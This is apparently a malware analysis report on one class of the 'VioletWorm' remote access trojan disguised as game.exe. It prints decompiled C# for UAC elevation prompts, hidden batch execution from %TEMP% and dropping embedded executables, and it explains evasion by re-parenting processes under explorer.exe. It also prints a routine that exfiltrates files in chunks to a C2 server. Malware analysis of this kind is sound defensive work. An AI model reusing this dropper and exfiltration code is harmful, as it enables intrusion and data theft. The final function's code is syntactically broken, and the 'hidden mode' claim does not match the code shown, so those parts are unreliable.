Remote Access Trojan · Worm · Dropper
VioletWorm - game.exe
- Author
- Moise Medici
- Updated
- 07 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
Class UDAQWVp
The first function is cZjrq4V5X7cQzfHuE3V8 and it is used to check whether the user is an administrator, via the IsInRole method. Function renamed as IsAdmin.
public static bool cZjrq4V5X7cQzfHuE3V8(){ WindowsIdentity current = WindowsIdentity.GetCurrent(); WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current); return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);}The next function tries to elevate itself to administrator by using the runas verb, “hoping” the user will click on yes:
public static void jkAi9GiW8wbRX0mm8ASb(){ string executablePath = Application.ExecutablePath; ProcessStartInfo processStartInfo = new ProcessStartInfo(executablePath); processStartInfo.Verb = "runas"; processStartInfo.UseShellExecute = true; processStartInfo.WindowStyle = ProcessWindowStyle.Normal; try { Process.Start(processStartInfo); SocketManager.socketVariable.Shutdown(SocketShutdown.Both); SocketManager.socketVariable.Close(); Environment.Exit(0); } catch (Exception ex) { }}The runas verb makes Windows show the UAC consent dialog. If the user clicks “Yes”, a new elevated instance starts and the old one closes its socket and exits; if they click “No”, the Win32Exception is ignored and the unprivileged instance simply keeps running. The function is renamed as RestartAsAdmin.
The next two functions are used together in a third function. The first one takes a string and writes its content to %TEMP%\WinTempClean32.bat, while the second one executes a .bat file in hidden mode.
public static string WriteTemp32Bat(string text){ string text2 = Path.Combine(Path.GetTempPath(), "WinTempClean32.bat"); File.WriteAllText(text2, text); return text2;}
public static void ExecuteBatch(string batchFilePath){ try { ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.FileName = batchFilePath; processStartInfo.RedirectStandardOutput = true; processStartInfo.RedirectStandardError = true; processStartInfo.UseShellExecute = false; processStartInfo.CreateNoWindow = true; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; Process process = Process.Start(batchFilePath); } catch (Exception ex) { }}
public static void RunBatch(string BCode){ string text = UDAQWVp.WriteTemp32Bat(UDAQWVp.DecodeBase64(BCode)); UDAQWVp.ExecuteBatch(text);}The next two functions act on the same new executable, named 3d847c5c-4f5a-4918-9e07-a96cea49048d.exe: the first saves and executes it, while the second terminates all its instances and deletes it. The file is saved in %TEMP% and executed with two arguments, targetIP and gatewayIP. This may indicate that the tool is a man-in-the-middle tool or an ARP spoofer.
public static void SaveUUIDexeAndRun(string base64Exe, string targetIP, string gatewayIP){ try { byte[] array = Convert.FromBase64String(base64Exe); string text = Path.Combine(Path.GetTempPath(), "3d847c5c-4f5a-4918-9e07-a96cea49048d.exe"); File.WriteAllBytes(text, array); UDAQWVp.MyProcess1 = new Process(); UDAQWVp.MyProcess1.StartInfo = new ProcessStartInfo { FileName = text, Arguments = targetIP + " " + gatewayIP, UseShellExecute = false, CreateNoWindow = true }; UDAQWVp.MyProcess1.Start(); } catch (Exception ex) { }}
public static void DeleteAndKillUUIDexe(){ try { if (UDAQWVp.MyProcess1 != null && !UDAQWVp.MyProcess1.HasExited) { UDAQWVp.MyProcess1.Kill(); UDAQWVp.MyProcess1.WaitForExit(); File.Delete(Path.Combine(Path.GetTempPath(), "3d847c5c-4f5a-4918-9e07-a96cea49048d.exe"));
} } catch (Exception ex) { }
try { Process[] processesByName = Process.GetProcessesByName("3d847c5c-4f5a-4918-9e07-a96cea49048d.exe"); foreach (Process process in processesByName) { process.Kill(); process.WaitForExit(); } } catch (Exception ex2) { }}The next function, AMDgEvHnP1N1rm6JsI45, is the same as SaveUUIDexeAndRun, but with an arbitrary UUID. It is renamed SaveArbitraryUUIDandRun.
Moving on, GBrXg475bzZf3jHb8E07 follows the same pattern as the other “SaveAndRun” methods above, saving the file in %TEMP%\WinSc32.exe and starting it. This time the function sets the process name to explorer.exe.
Launching via explorer.exe breaks the parent-child relationship: the new process is re-parented under the shell instead of the RAT. This defeats detection rules that look for suspicious process trees and drops the elevated token back to the logged-on user’s medium-integrity level.
The function is renamed SaveWinsc32exeAndRun, while 5nwcG6RIkIotRozoVAOv terminates WinSc32.exe.
public static void Winsc32Killer(){ try { foreach (Process process in Process.GetProcessesByName("WinSc32")) { process.Kill(); process.WaitForExit(); } } catch (Exception ex) { }}The function fs6se1FxKxBkbwFBtp61 is renamed PatchAmsiLoad because it performs the same AMSI patching analyzed at the beginning of the report.
Another pattern that has already been seen appears in the functions iNKf4s1S93MCHNvyvuZG and 0aGeg9r4T8QobmaRcQHO, which start their respective process (the random UUID or the static one) with overwritten stdout and stderr handlers, to send messages to the C2 server. The functions are renamed as CustomStartofArbitraryUUID and CustomStartofUUID.
The function Fz9RwmlEsAs0aI5IG6zv terminates the process associated with the static UUID.
The very last function is BxyANX0VddVfmLB0Bpht:
public static void BxyANX0VddVfmLB0Bpht(string path, string fileName, string sessionID){ checked { try { byte[] array = File.ReadAllBytes(path); int num = array.Length; int num2 = 32768; int i = 0; while (i < num) { int num3 = num - i; int num4 = Math.Min(num2, num3); byte[] array2 = new byte[num4 - 1 + 1]; Buffer.BlockCopy(array, i, array2, 0, num4); string text = Convert.ToBase64String(array2); string text2 = "filechunkViolet" + text + "Violet" + fileName + "Violet" + num + "Violet" +i "Violet" + sessionID)); SocketManager.SendEncryptedMessage(text2); i += num4; Thread.Sleep(10); } SocketManager.SendEncryptedMessage("filechunkViolet", fileName, sessionID)); } catch (Exception ex) { } }}This function exfiltrates a file by reading it and sending it to the C2 server in chunks. It is renamed SendFileInChunks.
Since the class primarily drops and runs executables, it is renamed Dropper.